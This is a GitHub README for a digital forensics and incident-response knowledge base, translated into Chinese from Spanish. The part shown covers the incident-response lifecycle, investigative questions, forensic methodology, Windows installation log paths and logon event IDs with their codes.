adrianlois/DFIR-Detection-Engineering
GitHub: adrianlois/DFIR-Detection-Engineering
跨平台数字取证与事件响应知识库,整合Windows/Linux/网络/容器取证方法论、检测工程实践及反取证技术识别方案。
Stars: 97 | Forks: 13
数字取证事件响应与检测工程
Análisis forense de artefactos comunes y no tan comunes, técnicas anti-forense y detección de técnicas utilizadas por actores maliciosos para la evasión de sistemas de protección y monitorización.
目录
- [📓 取证分析、工件与事件响应](#-análisis-forense-artefactos-y-respuesta-incidentes)
- [📁 事件响应管理与数字取证分析 (DFIR)](#-gestión-de-respuesta-a-incidentes-y-análisis-forense-digital-dfir)
- [📜 事件响应问题图表 - 初始分析,发生了什么?](#-diagrama-de-preguntas-de-respuesta-a-incidentes---análisis-inicial-qué-ha-pasado)
- [📜 生命周期 - 事件响应](#-ciclo-de-vida---respuesta-a-incidentes)
- [📜 问题 - 事件响应](#-preguntas---respuesta-a-incidentes)
- [📜 问题 - 数字取证分析](#-preguntas---análisis-forense-digital)
- [📜 方法论 - 数字取证分析](#-metodología---análisis-forense-digital)
- [📁 Windows](#-windows)
- [📜 Windows 事件日志](#-logs-de-eventos-de-windows)
- [📜 Windows 安装相关的日志记录](#-logs-de-registros-sobre-instalaciones-de-windows)
- [📜 DFIR 调查中相关的 Windows 和 Sysmon 事件 ID 列表](#-lista-de-events-id-de-windows-y-sysmon-relevantes-en-investigaciones-dfir)
- [📜 Windows 计划任务工件](#-artefactos-de-tareas-programadas-en-windows)
- [📜 用于检测 Windows 中可疑活动的脚本](#-scripts-para-detectar-actividades-sospechosas-en-windows)
- [📜 获取已安装软件及其版本 (x86 和 x64)](#-obtener-software-instalado-y-sus-versiones-x86-y-x64)
- [📜 ShellBags 分析与工件](#-análisis-y-artefactos-de-shellbags)
- [📜 RAM 内存分析:生成时间线 (Volatility 3)](#-análisis-de-memoria-ram-generación-de-línea-temporal-volatility-3)
- [📜 检测 Windows 注册表中可执行文件的持久化 (基于 *MITRE ATT&CK* 矩阵的技术)](#-detectar-peristencia-de-ejecutables-en-el-registro-de-windows-técnicas-basadas-en-la-matriz-de-mitre-attck)
- [📜 VPN 客户端连接工件](#-artefactos-de-conexiones-de-clientes-vpn)
- [📜 服务中的持久化](#-persistencia-en-servicios)
- [📜 审计关键组成员身份的变更 (最近 15 天)](#-auditar-cambios-de-membresía-en-grupos-críticos-últimos-15-días)
- [📜 Windows 事件日志被删除了吗?](#-han-eliminado-el-registro-de-eventos-de-windows)
- [📜 Volatility 3: 剪贴板](#-volatility-3-clipboard)
- [📜 检查用户最近打开的文件](#-comprobar-archivos-abiertos-recientemente-por-el-usuario)
- [📜 分析 Windows Prefetch 文件 (.pf)](#-analizar-ficheros-windows-prefetch-pf)
- [📜 Adobe Acrobat 工件:最近打开的 PDF 历史缓存](#-artefactos-adobe-acrobat-caché-de-historial-de-pdfs-abiertos-recientemente)
- [📜 “运行”窗口和“Explorer.exe 地址栏”:最近访问的文件和路径历史缓存](#-ventana-ejecutar-y-barra-direcciones-de-explorerexe-caché-de-historial-de-ficheros-y-paths-visitados-recientemente)
- [📜 Thumbcache Viewer](#-thumbcache-viewer)
- [📜 Notepad.exe 未关闭标签页的历史记录 (Win11)](#-historial-de-pestañas-sin-cerrar-de-notepadexe-win11)
- [📜 AnyDesk, Team Viewer 和 LogMeIn 中的取证工件](#-artefáctos-forenses-en-anydesk-team-viewer-y-logmein)
- [📜 使用 PuTTY, MobaXterm, WinSCP 存储的远程连接会话 (SSH, RDP, FTP, SFTP, SCP 等)](#-sesiones-de-conexión-remota-almacenadas-con-putty-mobaxterm-winscp-ssh-rdp-ftp-sftp-scp-u-otras)
- [📜 RDP 连接中的工件与可追溯性](#-artefactos-y-trazabilidad-en-conexiones-rdp)
- [📜 RDP 中的位图和 Prefetch 工件](#-artefactos-bitmaps-y-prefetch-en-rdp)
- [📜 通过 RDP 建立到其他主机的已存储连接缓存](#-caché-almacenada-de-conexiones-establecidas-a-otros-hosts-vía-rdp)
- [📜 获取文件的下载 URL (ADS Zone.Identifier)](#-conocer-la-url-de-descarga-de-un-archivo-ads-zoneidentifier)
- [📜 通过分析元数据修改和检测文件时间戳 (反取证技术)](#-modificar-y-detectar-timestamps-modificados-en-ficheros-analizando-sus-metadatos-técnica-anti-forense)
- [📜 Windows 搜索索引 (Windows.edb, .crwl, .blf, .jrs 文件)](#-windows-search-index-archivos-windowsedb-crwl-blf-jrs)
- [📜 PSReadLine: PowerShell 控制台中执行的命令历史](#-psreadline-historial-de-comandos-ejecutados-en-una-consola-powershell)
- [📜 取证工件 - MS Word](#-artefactos-forense---ms-word)
- [📜 XLSX 文件中的恶意软件分析 (MS Excel)](#-análisis-de-malware-en-ficheros-xlsx-ms-excel)
- [📜 MS Office 文件中的恶意软件分析 (oletools)](#-análisis-de-malware-en-ficheros-ms-office-oletools)
- [📜 MS Office 和其他文件的分析工具 (检测恶意软件或钓鱼)](#-herramientas-de-análisis-en-ficheros-ms-office-y-otros-detectar-malware-o-phising)
- [📜 PDF 分析工具 (检测恶意软件或钓鱼)](#-herramientas-de-análisis-pdf-detectar-malware-o-phising)
- [📜 识别文件中的 Shellcodes 和其他分析命令](#-identificar-shellcodes-en-ficheros-y-otros-comandos-de-análisis)
- [📜 检测文档中的恶意 URL](#-detectar-url-maliciosas-en-el-documento)
- [📜 计算机 IP 分配](#-asignación-de-ips-en-equipos)
- [📜 Windows 防火墙 (wf.msc):已卸载软件的残留规则](#-windows-firewall-wfmsc-reglas-residuales-de-software-desintalado)
- [📜 持久化:系统进程欺骗](#-persistencia-suplantación-de-procesos-del-sistema)
- [📜 查询和审计工具:GPO、访问控制、用户、组和 Active Directory 及 LDAP 的其他功能](#-herramientas-para-consultar-y-auditar-gpos-control-de-accesos-usuarios-grupos-y-otros-funciones-de-active-directory-y-ldap)
- [📜 钓鱼邮件分析 (.eml 扩展名)](#-análisis-de-phishing-mails-extensión-eml)
- [📜 MUICache:应用程序工件](#-muicache-artefactos-sobre-aplicaciones)
- [📜 FeatureUsage:重建用户活动](#-featureusage-reconstruir-las-actividades-de-los-usuarios)
- [📜 MRU (最近使用):本地 Office 和 Office 365 工件](#-mru-most-recently-used-artefactos-de-office-local-y-office-365)
- [📜 查看最后一个 7-Zip 解压的文件](#-ver-el-úlimo-fichero-descomprimido-7-zip)
- [📜 使用 WMI 检测已安装的反恶意软件及其状态](#-detectar-antimalware-instalado-y-su-estado-usando-wmi)
- [📜 检测配置了域账户的服务](#-detectar-servicios-configurados-con-cuentas-de-dominio)
- [📜 常见的 LOLBins 及其工件](#-lolbins-comunes-y-sus-artefactos)
- [📁 Linux](#-linux)
- [📜 Linux 系统日志](#-logs-del-sistema-de-linux)
- [📜 Linux 应用程序日志](#-logs-de-aplicaciones-de-linux)
- [📜 journalctl 日志 (systemd)](#-logs-journalctl-systemd)
- [📜 通过仍在运行的进程复制已删除的恶意二进制文件](#-copiar-un-binario-malicioso-ya-eliminado-a-través-de-su-proceso-todavía-en-ejecución)
- [📜 识别并获取带有恶意进程 PID 的文件 (Linux SSH 连接)](#-identificar-y-obtener-archivos-con-pid-de-procesos-maliciosos-conexiones-ssh-linux)
- [📜 在事件响应的初步分析中收集信息 (Linux 系统)](#-recopilar-información-en-un-primer-análisis-de-respuesta-a-incidentes-sistema-linux)
- [📜 Linux Shell 命令历史 (.bash\_history \& .zsh\_history)](#-historial-de-comandos-de-la-shell-de-linux-bash_history--zsh_history)
- [📜 Linux 所有目录和文件的转储](#-voldado-de-todos-los-directorios-y-ficheros-de-linux)
- [📜 使用 LiME 在 Linux 中进行 RAM 内存转储 (Linux Memory Extractor)](#-volcado-de-memoria-ram-en-linux-con-lime-linux-memory-extractor)
- [📜 检查用户是否执行了 "sudo" 命令](#-comprobar-si-un-usuario-ejecutó-el-comando-sudo)
- [📜 检测 Linux 无文件恶意软件 (memfd)](#-detectar-malware-linux-fileless-memfd)
- [📁 网络](#-redes)
- [📜 面向分析师的 Wireshark 过滤器](#-filtros-wireshark-para-analistas)
- [📁 容器](#-contenedores)
- [📜 Docker 容器取证分析](#-análisis-forense-en-contenedores-docker)
- [📁 Android \& iOS](#-android--ios)
- [📜 Android 取证:WhatsApp 发送和删除的图片证据](#-forense-android-evidencias-de-imágenes-eliminadas-y-enviadas-por-whatsapp)
- [📁 其他](#-varios)
- [📜 Windows, Linux 和 MacOS 中的 USB 设备工件](#-artefactos-en-dispositivos-usb-en-windows-linux-y-macos)
- [📜 Windows, Linux 和 MacOS 中路径工件的收集](#-recopilación-de-artefactos-de-paths-en-windows-linux-y-macos)
- [📁 工具](#-herramientas)
- [📜 Autopsy:高级数字取证分析工具](#-autopsy-herramienta-avanzada-de-análisis-forense-digital)
- [📜 X-Ways Forensics:高级数字取证分析工具](#-x-ways-forensics-herramienta-avanzada-de-análisis-forense-digital)
- [📜 Volatility 3:内存转储分析](#-volatility-3-análisis-de-volcados-de-memoria)
- [📜 WinTriage (Securizame):Windows 取证工件分析与提取](#-wintriage-securizame-análisis-y-extracción-de-artefactos-forenses-windows)
- [📜 Velociraptor:Windows 数字取证和事件响应的收集、监控和狩猎](#-velociraptor-recolección-monitorización-y-hunting-para-análisis-forense-digital-y-respuesta-a-incidentes-en-windows)
- [📜 LogonTracer:Active Directory 登录可追溯性](#-logontracer-trazabilidad-de-inicios-de-sesión-en-active-directory)
- [📜 AuthLogParser:auth.log 分析,与认证相关记录的摘要](#-authlogparser-análisis-authlog-resumen-de-registros-relacionados-con-autenticación)
- [📜 Skadi:工件和取证镜像分析](#-skadi-análisis-de-artefactos-e-imágenes-forenses)
- [📜 GRR - Google Rapid Response](#-grr---google-rapid-response)
- [📜 Arkime - 以 PCAP 格式存储和索引网络流量](#-arkime---almacenar-e-indexar-el-tráfico-de-red-en-formato-pcap)
- [📜 Live Forensicator - Windows, Linux 和 MacOS 上信息和工件的自动收集](#-live-forensicator---recolección-automatizada-de-información-y-artefactos-en-windows-linux-y-macos)
- [📜 FTK Forensic Toolkit (Exterro)](#-ftk-forensic-toolkit-exterro)
- [📜 EnCase Forensic (ondata)](#-encase-forensic-ondata)
- [📜 SANS DFIR - 海报 \& 速查表](#-sans-dfir---posters--cheat-sheets)
- [📓 在 SIEM, SOC 和反取证系统中检测规避技术](#-detección-de-técnicas-de-evasión-en-sistemas-siem-soc-y-anti-forense)
- [📁 Windows](#-windows-1)
- [📜 Windows 命令:"net" 和 "net1"](#-comando-windows-net-y-net1)
- [📜 检测通过 CertUtil 执行的恶意技术 (LOLBin)](#-detectar-técnicas-maliciosas-realizadas-a-través-de-certutil-lolbin)
- [📜 检测通过 PowerShell 使用 "Invoke-WebRequest, Invoke-RestMethod, BitsTransfer" 进行的文件下载](#-detectar-descargas-de-ficheros-realizadas-a-través-de-powershell-usando-invoke-webrequest-invoke-restmethod-bitstransfer)
- [📜 后渗透 - sc_manager 权限提升](#-post-explotación---privesc-con-scmanager)
- [📜 DLL 劫持 *cscapi.dll*](#-dll-hijacking-cscapidll)
- [📜 CMD 或 PowerShell 的其他执行技术](#-otras-técnicas-de-ejecución-de-cmd-o-powershell)
- [📜 使用 *type* 下载或上传文件](#-uso-de-type-para-descargar-o-subir-ficheros)
- [📜 阻止 USB 连接:Rubber Ducky 和 Cactus WHID](#-bloquear-conexiones-usb-rubber-ducky-y-cactus-whid)
- [📜 存储密码的 Windows 注册表键](#-claves-de-registro-de-windows-donde-se-almacenan-las-contraseñas)
- [📜 WDigest Authentication (lsass.exe):启用 / 禁用](#-wdigest-authentication-lsassexe-habilitado--deshabilitado)
- [📜 检测系统是物理机还是虚拟机及其 Hypervisor 或 CSP 类型 (Azure, AWS, GCP)](#-detectar-si-un-sistema-es-una-máquina-física-o-virtual-y-su-tipo-de-hipervisor-o-csp-azure-aws-gcp)
- [📜 Windows 命令执行中的混淆技术](#-técnicas-de-ofuscación-en-la-ejecución-de-comandos-en-windows)
- [📜 检测打开命令提示符 时的 AutoRun 操作](#-detectar-acciones-de-autorun-al-abrir-una-command-prompt-cmd)
- [📜 .exe 的替代可执行扩展名](#-extensiones-ejecutables-alternativas-a-exe)
- [📜 检测正在从因位置错误而无法访问的文件夹中运行的恶意软件 (NTFS $INDEX\_ALLOCATION 目录流)](#-detectar-malware-que-se-está-ejecutando-desde-una-carpeta-que-no-permite-su-acceso-por-error-de-ubicación-flujo-ntfs-en-directorios-index_allocation)
- [📜 Windows 搜索索引:反取证和规避技术检测](#-windows-search-index-detección-de-técnicas-anti-forenses-y-evasión)
- [📜 禁用 Windows Defender 以规避 AMSI 对恶意二进制文件执行的检测 (通过 ControlSet00X 注册表重命名 MsMpEng.exe)](#-deshabilitar-windows-defender-para-eludir-la-detección-de-amsi-en-la-ejecución-de-binarios-maliciosos-renombrar-msmpengexe-a-través-del-registro-controlset00x)
- [📁 Linux](#-linux-1)
- [📜 *debugfs* 用于在执行命令或访问带有审计的文件时规避警报](#-debugfs-para-eludir-alertas-al-ejecutar-comandos-o-acceder-a-ficheros-con-auditoria)
- [📜 检测在 history 中隐藏执行的命令](#-detectar-la-ejecución-de-comandos-de-forma-oculta-en-history)
- [📜 禁用 Shell 历史记录的使用](#-deshabilitar-el-uso-del-historial-de-la-shell)
- [📜 删除 Shell 命令历史 (.bash\_history \& .zsh\_history)](#-eliminar-el-historial-de-comandos-de-la-shell-bash_history--zsh_history)
- [📜 Linux 中以下命令的特权使用审计](#-auditoría-en-el-uso-privilegiado-de-los-siguientes-comandos-en-linux)
- [📁 网络](#-redes-1)
- [📜 WAF Bypass (SSRF):使用本地 IP 缩写](#-waf-bypass-ssrf-usar-acortamiento-ip-local)
- [📜 分配给用于混淆的 IPv4 的 IPv6 地址](#-dirección-ipv6-asignada-a-ipv4-utilizada-para-ofuscación)
- [📁 其他](#-varios-1)
- [📜 取证 (反取证)](#-forensia-anti-forensic)
# 📓 取证分析、工件与事件响应
## 📁 事件响应管理与数字取证分析 (DFIR)
### 📜 事件响应问题图表 - 初始分析,发生了什么?
[](https://mermaid.live/edit#pako:eNp9VU1vEzEQ_SvWnrbSFpSGUw9U2aQSSAUVWi4ol4k9SQ1ee-uPQqj6Y3rsgVN_ABL7xxjvRxoSt3tK1jPjN2_em73NuBGYHWdLZX7wK7CenX2ea0bPJP_751NoHtgVsBocCHNy0J305-zw8C0rRxQ2YddBNg-awRK5hyGuHPUhk_yLC2Clcex1nz08XEnUHhMHRsHCWLrWotsUHC4tB3ACubSK8tc7-W2N5rEyT2jKPnmanzpvweNKAhVIJZoqaMmBy-ZR73RzlF80j8oksiQ1YjVUsaEEVdNI1SW1i8xijZYHJ40m6P9XUriC2JDZI0QTaO5DPB2amo760pN8arQLyoONkQl0ztTGeuzqb9IHaGV-3jxYIUXLiABvXKIGoXZGRwA79x9Ra6eOBU3ZSvoUO9cBWW0EVMnAnXQXILddHbUV57k74w2tmDn1tQSBYhnqFfYklPEP5a4pdEViVD86Y3tT9HzV7v3RWldohYWI9KIer_GitQsiGm8kQScYCfJAgtkHo6WKXih5aeOO4FOx9F6F7BoAQgCmtSowxcqlPlEN_dKOunYkhykKfowKXTtSVO9aIJOzzwOtK9CN21rejbKzwikQ3sjefT3rg0JgMeK-OlWgzCDcmadcmY0X3Jjc6_ZAr6ldKMDkltNp38zKJfyuvxxuUUWDIso1YaQlsE6kMLXz9vjZK_-tNNDW98iD-SAZ6cdMVIoCUMlRcqjXLYuGU-7S95MaKn8Lja97ufSEqzJ4LBQcezs_WVaEVFujINdmb0ryvyjKTYDb9lSL6wJsgktM7M7rbKdt-_5SLor7kAlf23PutflbNyuqQ2A9KIi7mprbhBp9R9kRVahrUAK-kjdxuB55q-wwnl2TD_JhN_n2VzfURwEby7WmmfHZH8sslDTGsOZhJWFanhJKiD7f-g-eu23r8hq0F-NoZAlKId3_wA9zfu8)
### 📜 生命周期 - 事件响应
[](https://mermaid.live/edit#pako:eNpFkMFqwzAMhl_F6JRB8gI5DNokhUILpbsNX4SttGaJbVSZMUqfao-wF5vrkewmPn1C0n8HEyxBC-MUPs0VWdThrP2mOjFFZDTu59u_ZKCa5lVtq70lL250Zu1sS6eruuCF_EK7QvtqYEa72CqooxN3WWf7Yg3VmUyK9L9tKHz35BidpGmdP4WbNPu85nkHZXVX1A3UMBPP6Gz-5a69UhrkSjNpaHNpkT80aP_IHiYJb1_eQCucqIYULQr1Di-MM7QjTrdMyToJfPwLp2RUQ0T_HsLiPH4Bf1ptrQ)
| 准备 |
收集必要的工具并学习其工作原理,熟悉它们。 |
- 反恶意软件和文件/设备完整性检查器。
- 漏洞扫描器、日志分析器、入侵检测器和其他审计工具。
- 备份恢复。
- 取证分析工具(由取证专家带来)。
|
| 识别 |
检测事件,确定其范围和解决方式,并让业务、运营和通讯负责人参与进来。 |
- 如有必要,联系技术支持、CIRST 或 CERT,或取证专家。
- 如有必要,联系警方。
- 如有必要,联系法律顾问。
|
| 遏制 |
防止事件蔓延到其他资源,最大限度地减少其影响。 |
- 将受影响的计算机与有线或 wifi 网络隔离。
- 禁用受损的用户账户。
- 更改受损用户账户的密码。
|
| 根除 (缓解) 和恢复 |
在开始恢复之前,如有必要删除受损元素。 |
- 重新安装受影响的系统。
- 从备份中还原。
|
| 复盘或事件后 |
记录事件详情,归档收集的数据,并就吸取的教训进行建设性讨论。 |
- 将事件通知员工,并给予指导以防未来再次发生。
- 如有必要,通知媒体和客户。
|
- 参考 - 事件响应初始问卷 (INCIBE): https://www.incibe.es/sites/default/files/contenidos/JuegoRol/juegorol_cuestionarioinicialrespuestaincidentes.pdf
### 📜 问题 - 事件响应
**谁?,什么?,在哪?,何时?,如何或以什么方式?,以及为什么?**
| 谁 |
- 从中受益?
- 这对谁有害?
- 谁对此做出决定?
- 谁受到的直接负面影响最大?
- 谁也听说过这件事?
- 谁是咨询的最佳人选?
- 谁是这件事的关键人物?
- 谁因此值得受到认可?
|
什么 |
- 发生了什么或警报迹象是什么?
- 优势/劣势是什么?
- 另一种视角是什么?
- 另一种选择是什么?
- 反驳论点是什么?
- 最好/最坏的情况是什么?
- 最重要/最不重要的事情是什么?
- 我们可以做些什么来实现积极的改变?
- 是什么阻碍了我们的行动?
|
| 在哪 |
- 发生在哪里?
- 我们会在现实世界中哪里看到这个?
- 存在类似的概念/情况吗?
- 哪里最需要这个?
- 在世界上哪里这会是个问题?
- 哪里这是可以接受/不可接受的?
- 这哪里会对我们的社会有益?
- 这哪里会导致问题?
- 哪里是采取行动的最佳时机?
|
何时 |
- 什么时候发生的?
- 什么时候这是一个问题/挑战?
- 什么时候这与我自己/其他人相关?
- 什么时候这是最好/最坏的情况?
- 人们什么时候受此影响?
- 什么时候这与...类似?
- 这什么时候会改变事情?
- 我们什么时候知道真相?
- 我们什么时候能安全地解决这个问题?
|
| 如何或以什么方式 |
- 如何或在什么情况下?
- 人们应该知道这件事吗?
- 这种情况持续这么久了?
- 我们怎么允许这种情况发生的?
- 这对我们/其他人有什么好处?
- 这怎么伤害了我们/其他人?
- 我们将来会如何看待这个问题?
- 我们如何为了我们的利益改变这一切?
|
为什么 |
- 为什么会发生或其起源是什么?
- 我们可以获得更多信息吗?
- 改进领域有哪些?
- 我们怎么知道我们已经成功了?
- 我们可以期待这发生变化吗?
- 我们应该为此寻求帮助吗?
|
### 📜 问题 - 数字取证分析
- 信息物理上位于何处?
- 复制哪些存储设备。
- 是否需要关闭设备以进行获取?
- 进行复制的顺序,考虑到所涉及数据的易失性。
- 是否有必要搜索和复制隐藏、不可见或远程设备?
- 是否使用了反取证技术来隐藏信息?
- 需要取证专家的支持。
- 需要公证员。
### 📜 方法论 - 数字取证分析
数字取证分析中获取数字证据的五个阶段操作摘要。
[](https://mermaid.live/edit#pako:eNo9z0EKwjAQBdCrhFlVaC_QhdAadwqiO8lmSEYbbBJNE0Wkh_EMHsGLGVLsbnjzGea_QDpFUMOpdw_ZoQ9ssxe2KRp1i3rQUn8_dpGAVdWStcXO00D-jn9vs6-Kxn7ffcoPyVbZeMGdjIZsmMM8L9bTkdmhBEPeoFbpjZewjAkIHRkSUKdRob8IEHZMOYzBHZ5WQh18pBLiVWEgrvHs0UB9wn5ISkoH57dTr1yvhCvao3P_zPgDlLtVig)
`1. 获取`
此阶段对可能作为法庭流程证据的信息进行复制。必须在不更改原件的情况下收集这些证据,使用只读设备或程序保证不覆盖源存储介质。必须尊重样本的易失性并优先收集。必须安全地标记和存储所有原始设备。
`2. 保全`
在此阶段,保证所收集信息的持久性和监管链。
`3. 分析`
使用各种技术,结合分析师的经验和智慧,帮助解决所分析案件的“什么”、“如何”和“谁”。
`4. 记录`
确保整个过程(应用的信息和程序)被正确记录并注明日期的阶段。
`5. 呈现`
在此阶段生成至少一份执行摘要和一份技术报告,收集整个分析的结论。
**根据 ENISA(欧洲网络与信息安全局)在数字证据管理中必须确保的原则。**
- **数据完整性**:不得修改任何用于法庭案件解决的数据。负责犯罪现场或收集的人员有责任确保不发生这种情况。此外,如果收集的设备处于开机状态,获取方式必须尽可能减少修改。
- **记录**:必须创建并更新记录,记录从收集到任何后续查询对所收集证据执行的所有操作。
- **专家支持**:在获取过程中的任何时候,都必须允许受过数字取证技术适当培训的专家介入。该专家必须具备足够的技术和法律知识,以及必要的经验和授权。
- **培训**:任何处理数字证据的人员都必须具备基本的技术和法律培训。
- **合法性**:必须确保整个过程符合相应的法律规定。
## 📁 Windows
### 📜 Windows 事件日志
| 文件路径 | 信息 | 证据 |
|-----------|------|------------|
| `%SYSTEMROOT%\System32\config` `%SYSTEMROOT%\System32\winevt\Logs` | 包含可从事件查看器访问的 Windows 日志 | 几乎所有。条目、日期、访问、权限、程序、用户等。 |
### 📜 Windows 安装相关的日志记录
| 文件路径 | 信息 | 证据 |
|-----------|------|------------|
| `%SYSTEMROOT%\setupact.log` | 包含关于安装期间安装操作的信息 | 我们可以看到安装日期、已安装程序的属性、访问路径、法律副本、安装磁盘 |
| `%SYSTEMROOT%\setuperr.log` | 包含关于安装期间安装错误的信息 | 程序故障、不可访问的网络路径、内存转储路径 |
| `%SYSTEMROOT%\WindowsUpdate.log` | 记录关于系统和应用程序更新的所有事务信息 | 安装的修补程序类型、安装日期、待更新项目 |
| `%SYSTEMROOT%\Debug\mrt.log` | Windows 恶意软件删除工具的运行结果 | 日期、引擎版本、签名和活动摘要 |
| `%SYSTEMROOT%\security\logs\scecomp.old` | 未能安装的 Windows 组件 | 未注册的 DLL、日期、写入尝试、访问路径 |
| `%SYSTEMROOT%\SoftwareDistribution\ReportingEvents.log` | 包含与更新相关的事件 | 安装代理、未完成或已完成的下载、日期、包类型、路径 |
| `%SYSTEMROOT%\Logs\CBS\CBS.log` | 属于“Windows 资源保护”且未能还原的文件 | 存储提供程序、进程 PID、日期、路径 |
| `%AppData%\Local\Microsoft\Websetup` (Windows 8) | 包含 Windows 8 Web 安装阶段的详细信息 | 访问 URL、安装阶段、创建日期、程序包 |
| `%AppData%\setupapi.log` | 包含关于驱动器、服务包和修补程序的信息 | 本地和可移动驱动器、安装程序、已安装程序、安全更新、已连接设备的识别 |
| `%SYSTEMROOT%\INF\setupapi.dev.log` | 包含关于即插即用驱动器和驱动程序安装的信息 | 操作系统版本、内核、服务包、架构、启动模式、日期、路径、驱动程序列表、已连接设备、已启动或停止的设备 |
| `%SYSTEMROOT%\INF\setupapi.app.log` |含关于应用程序安装记录的信息 | 日期、路径、操作系统、版本、文件、数字签名、设备 |
| `%SYSTEMROOT%\Performance\Winsat\winsat.log` | 包含测量系统性能的 WINSAT 应用程序的使用记录 | 日期、关于显卡、CPU、速度、USB 端口的数值 |
| `%ProgramData%\Microsoft\Windows Defender\Support` | 包含 WD (Windows Defender) 的历史记录。文件名为 - MPLog-\*.log, MPDetection-\*.log, MPDeviceControl-\*.log | 日期、产品版本、服务、通知、CPU、ProcessImageName、EstimatedImpact、二进制文件等。 |
| `%ProgramData%\Microsoft\Windows Defender\Scans\Scans\History` | 当检测到威胁时,WD 存储一个二进制文件 "DetectionHistory" | 可以使用 DHParser 等工具分析这些文件 |
| `%TMP%` 或 `%TEMP%` | 环境变量,指向绝对路径 "%USERPROFILE%\AppData\Local\Temp",用于在用户上下文中存储临时文件。当通过任务管理器进行进程转储时,此目录存储进程的转储文件创建。在系统上下文中,它指向绝对路径 "C:\Windows\Temp" |
### 📜 DFIR 调查中相关的 Windows 和 Sysmon 事件 ID 列表
Windows 系统默认以 Windows Event Logging 二进制 XML 格式(扩展名为 .evtx)将日志存储在 `%SystemRoot%\System32\winevt\logs` 目录中。也可以通过日志订阅远程存储日志。事件可以记录在安全、系统和应用程序事件日志中。
安装事件日志记录 Windows 安装期间发生的活动。转发的事件日志是记录从其他系统接收的事件的默认位置。但在事件查看器中的“应用程序和服务日志”下还列出了许多额外的日志,记录与特定类型活动相关的详细信息。
**事件日志格式 (XML Windows Event Logging)**
| 字段 | 描述 |
|-------|-------------|
| Log Name | 存储事件的事件日志名称。处理从同一系统提取的众多日志时非常有用。 |
| Source | 生成事件的服务、Microsoft 组件或应用程序。 |
| Event ID | 分配给每种审计活动类型的代码。 |
| Level | 分配给相关事件的严重性。 |
| User | 涉及触发活动的用户账户,或记录事件时源运行所在的用户上下文。请注意,此字段通常指示 "System" 或不是被记录事件原因的用户。 |
| OpCode | 由生成日志的源分配。其含义由源 决定。 |
| Logged | 记录事件的本地系统日期和时间。 |
| Task Category | 由生成日志的源分配。其含义取决于源。 |
| Keywords | 由源分配,用于分组或分类事件。 |
| Computer | 记录事件的计算机。这在检查从多个系统收集的日志时非常有用,但不应被视为导致事件的设备(例如,当启动远程会话时,“Computer”字段仍将显示记录事件的系统名称,而不是连接源)。 |
| Description | 一个文本块,记录与正在记录的事件相关的附加特定信息。通常这是对分析师最重要的字段。 |
- Windows Event Log Analyst Reference (Applied Incident Response).
+ https://forwarddefense.com/media/attachments/2021/05/15/windows-event-log-analyst-reference.pdf
- 搜索 Events ID: Windows Security Log Events Encyclopedia (Ultimate IT Security - @randyfsmith).
+ https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx
- 事件标识符附录。
+ https://learn.microsoft.com/es-es/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor
- 登录与认证:
```
540: Inicio de sesión de red exitoso.
4624: Se inició sesión exitosamente en un sistema a través de una cuenta válida. (Según el Logon Type indicará el método de conexión de la sesión).
4625: Fallo en el inicio de sesión de una cuenta. (Hay que tener en cuenta que los inicios de sesión fallidos a través de RDP -acceso por red- pueden registrarse como Tipo 3 en lugar de Tipo 10 -sesión remota-, dependiendo de los sistemas involucrados).
4634: Cierre de sesión exitoso.
4647: Cierre de sesión iniciado por el usuario.
4648: Se intentó un inicio de sesión utilizando credenciales explícitas.
4740: Se bloqueó una cuenta de usuario.
4672: Se conceden ciertos privilegios asociados con el acceso elevado o de administrador a un inicio de sesión.
4767: Se desbloqueó una cuenta de usuario.
4772: Error en una solicitud de ticket de autenticación Kerberos.
4768: Se solicitó un ticket de autenticación Kerberos (TGT).
4771: La autenticación previa de Kerberos falló.
4777: El controlador de dominio no pudo validar las credenciales de una cuenta.
4778: Se volvió a conectar una sesión a una estación Windows.
4779: Se desconecta una sesión. También puede ocurrir cuando una sesión es reconectada a través de RDP.
4820: Se denegó un ticket de concesión de tickets (TGT) de Kerberos porque el dispositivo no cumple con las restricciones de control de acceso.
4964: Se asignaron grupos especiales a un nuevo inicio de sesión.
```
- Event ID 4624. 登录类型结果代码:
| 登录类型 | 描述 |
|------------|-------------|
| 2 | **Interactive**。例如在键盘和系统屏幕上登录,或使用第三方远程访问工具(如 VNC)远程登录,或带有 -u 开关的 psexec。此类型的登录将在会话期间将用户凭据缓存在 RAM 中,并可能将用户凭据缓存在磁盘上。 |
| 3 | **Network**。例如从网络上的其他位置访问此计算机上的共享文件夹。这代表非交互式登录,不会在 RAM 或磁盘上缓存用户凭据。 |
| 4 | **Batch** (指示计划任务)。批处理登录类型用于批处理服务器,其中进程可以在没有用户直接干预的情况下代表用户运行。 |
| 5 | **Service**。指示服务由 Service Control Manager (SCM) 启动。 |
| 7 | **Unlock**。指示具有受密码保护屏幕的无人值守工作站已解锁。 |
| 8 | **NetworkCleartext**。指示用户从网络登录到此计算机,并且用户的密码以未哈希的形式传递给身份验证包。所有内置的身份验证包在通过网络发送凭据之前都会对其进行哈希处理。凭据不会以明文形式通过网络。大多数情况下,这指示使用基本身份验证的 Internet Information Services (IIS) 登录。 |
| 9 | **NewCredentials**。指示用户使用备用凭据登录以执行操作,例如使用 RunAs 或映射网络驱动器。如果您想跟踪尝试使用备用凭据登录的用户,还需搜索事件 ID 4648。 |
| 10 | **RemoteInteractive**。指示 Terminal Services、Remote Desktop 或 Remote Assistance 进行交互式登录。有关更多详细信息,请参阅本节末尾关于 RDP 的说明。 |
| 11 | **CachedInteractive**。使用缓存的域凭据登录,例如在未连接网络时登录笔记本电脑。未联系域控制器验证凭据,因此不会生成账户登录条目。 |
- Event ID 4625. 登录失败代码:
```
0XC000005E: Actualmente no hay servidores de inicio de sesión disponibles para atender la solicitud de inicio de sesión.
0xC0000064: Inicio de sesión de usuario con una cuenta de usuario mal escrita o incorrecta.
0xC000006A: Inicio de sesión de usuario con contraseña mal escrita o incorrecta.
0XC000006D: Esto se debe a un nombre de usuario incorrecto o a una información de autenticación incorrecta.
0XC000006E: Nombre de usuario desconocido o contraseña incorrecta.
0xC000006F: Inicio de sesión de usuario fuera del horario autorizado.
0xC0000070: Inicio de sesión de usuario desde estación de trabajo no autorizada.
0xC0000071: Inicio de sesión de usuario con contraseña caducada.
0xC0000072: Inicio de sesión de usuario en cuenta desactivada por el administrador.
0XC00000DC: Indica que el servidor se encontraba en un estado incorrecto para realizar la operación deseada.
0XC0000133: Relojes entre el controlador de dominio y el otro equipo demasiado desincronizados.
